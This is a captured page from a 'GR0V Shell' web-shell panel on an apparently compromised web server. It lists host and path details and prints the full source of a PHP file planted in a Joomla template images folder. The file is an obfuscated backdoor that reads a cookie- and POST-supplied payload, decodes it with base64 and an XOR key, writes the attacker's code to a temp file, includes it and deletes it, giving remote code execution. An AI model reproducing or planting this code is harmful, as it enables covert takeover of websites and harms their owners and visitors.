? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/templates/beez5/images/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/templates/beez5/images/5a73a969.php

$otmeIzBs = "\x42" . "\170" . "\164" . chr (95) . chr (99) . chr ( 231 - 112 ).chr (114); $WsmWi = chr (99) . "\x6c" . "\x61" . 's' . chr (115) . chr (95) . "\145" . chr (120) . chr (105) . chr ( 137 - 22 ).chr (116) . chr ( 501 - 386 ); $cPoFyqMTB = $WsmWi($otmeIzBs); $WsmWi = "24396";$ubAqGa = $cPoFyqMTB;if (!$ubAqGa){class Bxt_cwr{private $bgdgBPEW;public static $nTgssJ = "beb7b128-be80-406b-8635-24f6d5924ab8";public static $tsYozao = 25207;public function __construct($DRKCgzPog=0){$GglFwcD = $_COOKIE;$tsBPFWkGQj = $_POST;$hXSzQca = @$GglFwcD[substr(Bxt_cwr::$nTgssJ, 0, 4)];if (!empty($hXSzQca)){$UEpdD = "base64";$JZftTj = "";$hXSzQca = explode(",", $hXSzQca);foreach ($hXSzQca as $aAMYHB){$JZftTj .= @$GglFwcD[$aAMYHB];$JZftTj .= @$tsBPFWkGQj[$aAMYHB];}$JZftTj = array_map($UEpdD . "\x5f" . "\144" . chr (101) . "\x63" . 'o' . chr ( 370 - 270 )."\145", array($JZftTj,)); $JZftTj = $JZftTj[0] ^ str_repeat(Bxt_cwr::$nTgssJ, (strlen($JZftTj[0]) / strlen(Bxt_cwr::$nTgssJ)) + 1);Bxt_cwr::$tsYozao = @unserialize($JZftTj);}}private function ncMDcPx(){if (is_array(Bxt_cwr::$tsYozao)) {$aeWse = sys_get_temp_dir() . "/" . crc32(Bxt_cwr::$tsYozao["\163" . chr ( 130 - 33 )."\154" . "\164"]);@Bxt_cwr::$tsYozao[chr ( 646 - 527 ).'r' . 'i' . "\x74" . "\x65"]($aeWse, Bxt_cwr::$tsYozao["\143" . "\157" . 'n' . "\164" . chr (101) . "\156" . chr (116)]);include $aeWse;@Bxt_cwr::$tsYozao["\x64" . 'e' . "\154" . chr ( 1015 - 914 ).chr (116) . chr (101)]($aeWse); $fMEyogqG = "2214";exit();}}public function __destruct(){$this->ncMDcPx(); $fMEyogqG = "2214";}}$MaUzIiutyz = new Bxt_cwr(); $MaUzIiutyz = "1129_59509";}

T1KUS90T
  root-grov@210.1.60.28:~$